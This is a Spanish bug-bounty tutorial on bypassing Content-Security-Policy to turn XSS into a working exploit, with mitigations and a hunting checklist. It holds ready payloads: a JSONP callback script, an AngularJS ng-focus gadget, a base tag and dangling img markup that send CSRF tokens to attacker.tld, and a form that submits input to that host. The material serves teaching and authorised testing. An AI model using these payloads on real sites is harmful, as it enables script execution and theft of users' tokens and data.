Nivel AvanzadoGratis

CSP Bypass — JSONP, base-uri, AngularJS gadgets, dangling markup

Content-Security-Policy roto con strict-dynamic + JSONP, sin base-uri, AngularJS sandbox escapes, JSON hijacking. Cómo escalar XSS cuando el CSP teóricamente bloquea.

Gorka El Bochi9 de mayo de 202613 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

CSP (Content-Security-Policy) es la mitigación principal de XSS en 2026. Pero un CSP "presente" no equivale a "seguro": permite endpoints JSONP, falta base-uri, hay AngularJS o frameworks con gadgets, dominios trusted con upload de archivos, o unsafe-inline en fallback. Cuando hay XSS pero CSP "lo bloquea", buscar bypasses específicos suele convertir un Self-XSS en Stored XSS pleno.


Anatomía de un CSP

http
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.target.tld 'nonce-abc123';
  style-src 'self' 'unsafe-inline';
  img-src 'self' data:;
  connect-src 'self' https://api.target.tld;
  frame-ancestors 'none';
  base-uri 'self';
  form-action 'self';
  report-uri /csp-report;

Cada directiva puede tener su propio bypass.


Bypass 1 — JSONP en script-src

CSP permite script-src https://googleapis.com. Google APIs tiene endpoints JSONP que ejecutan JS arbitrario via callback param:

html
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>

El response es JSON envuelto en el callback:

javascript
alert(1)//(...response...)

alert(1) se ejecuta. CSP pasa porque accounts.google.com (subdominio de googleapis.com en la whitelist) sirve el script.

Lista clásica de JSONP en allowlists comunes:

  • googleapis.com — múltiples APIs Google.
  • cdn.jsdelivr.net con paths a libs antiguas.
  • code.jquery.com (no JSONP pero a veces UI-XSS).
  • Cualquier API de terceros con ?callback= o ?jsonp=.

Detection

Buscar en script-src CDN dominios. Para cada uno, googlear "<domain> JSONP" o <domain> callback param.


Bypass 2 — base-uri ausente + nonce

CSP con nonce:

rust
script-src 'nonce-abc123' 'self';

Si tienes XSS que puede inyectar HTML pero no scripts (porque no conoces el nonce), inyecta una <base> tag:

html
<base href="//attacker.tld/">

El browser hace que TODOS los recursos relativos del documento se resuelvan contra attacker.tld. Si la página luego carga <script src="/main.js">, ahora va a attacker.tld/main.js — el atacante sirve un JS arbitrario.

Mitigación: base-uri 'self' o base-uri 'none'.


Bypass 3 — AngularJS gadgets

Si la página usa AngularJS y el CSP permite script-src 'self' 'unsafe-eval' o solo 'self' y AngularJS está en self:

html
<div ng-app ng-csp>
  <input autofocus ng-focus="$event.composedPath()|orderBy:'(z=alert)(1)'">
</div>

AngularJS evalúa expresiones en atributos. Si está en la página y el atacante mete HTML con directivas ng-*, ejecuta JS aunque CSP esté.

Lista de gadgets en AngularJS bien conocida (HackTricks tiene todos los expression payloads).

Otros frameworks

  • Vue.js con v-html sin sanitizar y CSP que permite el dominio del Vue script.
  • React con dangerouslySetInnerHTML (raro, pero existe).
  • Lodash + helpers transitivos.

Bypass 4 — strict-dynamic con XSS controlling existing scripts

arduino
script-src 'nonce-abc' 'strict-dynamic';

strict-dynamic significa "ignora whitelist, scripts cargados por scripts trusted son OK". Bypass: si XSS te permite inyectar HTML que un script existente convierte en <script> dinámicamente, ese script hereda trust:

javascript
// Código existente en la app
document.body.innerHTML += userInput;  // si userInput contiene <script>, no carga (innerHTML no ejecuta)

// Pero
const scr = document.createElement('script');
scr.src = userInput;
document.body.appendChild(scr);  // SI ejecuta, hereda nonce/trust

Si encuentras gadget que convierte input en script dinámico, bypass.


Bypass 5 — Dangling markup injection

Si CSP bloquea scripts pero no <img> y no style-src 'unsafe-inline':

html
<img src="//attacker.tld/?leak=

Sin cerrar la tag, el browser intenta cargar el src y absorbe TODO lo que viene después como parte de la URL hasta encontrar > o ". Si la siguiente parte de la página tiene un CSRF token o sensible data, viaja al request.

html
<img src="//attacker.tld/?leak=<input name="csrf" value="...">

attacker.tld recibe el csrf token via Referer/URL. Defacement parcial + token leak sin ejecutar JS.

Mitigación: Content-Security-Policy: img-src 'self' o filter <img src> que no termine con >.


Bypass 6 — Cuando script-src tiene wildcard subdomain

arduino
script-src 'self' *.target.tld

Si *.target.tld incluye dominios donde el atacante puede alojar contenido:

  • Subdomain con upload de archivos (PDFs, archivos de usuario).
  • Subdomain con HTML staging del propio user (profile pages, blog posts).
  • Subdomain con CSV/XML que el browser puede interpretar como JS si tipo MIME está mal.
  • Subdomain takeover.

Si uno de los subdominios sirve archivos .js controlados por usuarios → bypass.


Bypass 7 — JSON hijacking (legacy)

Frameworks que retornan JSON sin protección anti-CSRF:

javascript
[
  {"id":1, "secret": "abc"},
  {"id":2, "secret": "def"}
]

Si el endpoint responde JSON y el browser lo interpreta como JS (víctima visita attacker.tld que hace <script src="https://target.tld/api/data">), atacante puede capturar los valores via Object/Array prototype overrides en navegadores antiguos.

Mitigado en navegadores modernos pero vector contra apps con browsers legacy.


Bypass 8 — Service Workers

Si XSS te da control sobre /sw.js (subir archivo o injection en respuesta), puedes registrar Service Worker que intercepta fetches del origin:

javascript
self.addEventListener('fetch', e => {
  if (e.request.url.includes('/api/')) {
    e.respondWith(new Response('attacker controlled response'));
  }
});

Persiste cross-page-load. CSP no aplica a service workers como tal.


Bypass 9 — Form action si form-action ausente

Si CSP no especifica form-action, falla a default-src o se permite. Inyectar:

html
<form action="//attacker.tld" id="f"><input name="x"></form>
<button form="f">Click me</button>

Si víctima escribe en input y submit → datos van a attacker. Bypass de "no inline scripts" via form interaction.


Cómo se reporta

Para que el triage acepte:

  1. PoC funcional que ejecuta alert(document.domain) o leak medible.
  2. CSP completo que demuestra que está aplicado.
  3. Vector completo: ¿de dónde viene el XSS original que estás bypaseando?

CSP bypasses puros sin XSS subyacente suelen ser N/A o Informational. Necesitas la chain.


Hunting checklist

  • ¿CSP en respuesta? Captura el header.
  • ¿script-src permite dominios externos? Buscar JSONP en cada uno.
  • ¿base-uri declarado? Si no, intentar dangling base.
  • ¿AngularJS / Vue / Lodash en la página y permitidos por CSP?
  • ¿strict-dynamic con XSS que pueda crear scripts dinámicamente?
  • ¿img-src permite cualquier URL? Probar dangling markup leak.
  • ¿form-action declarado? Si no, form externo posible.
  • ¿Subdomains en wildcard que permitan upload o XSS staging?

Mitigación correcta

  1. CSP estricta: default-src 'none' como base, añadir solo lo necesario.
  2. script-src 'nonce-RANDOM' 'strict-dynamic'.
  3. base-uri 'none' (rara vez se necesita base href).
  4. form-action 'self'.
  5. frame-ancestors 'none' (mata clickjacking).
  6. No unsafe-inline ni unsafe-eval salvo legacy bien justificado.
  7. report-uri activo para detectar attempts de bypass en producción.
  8. Revisar subdominios whitelisted — ¿pueden hostear contenido user-controlled?

Labs relacionados

Practica CSP bypasses con JSONP, dangling markup, AngularJS gadgets y base-uri injection: labs de CSP bypass.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Xss

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.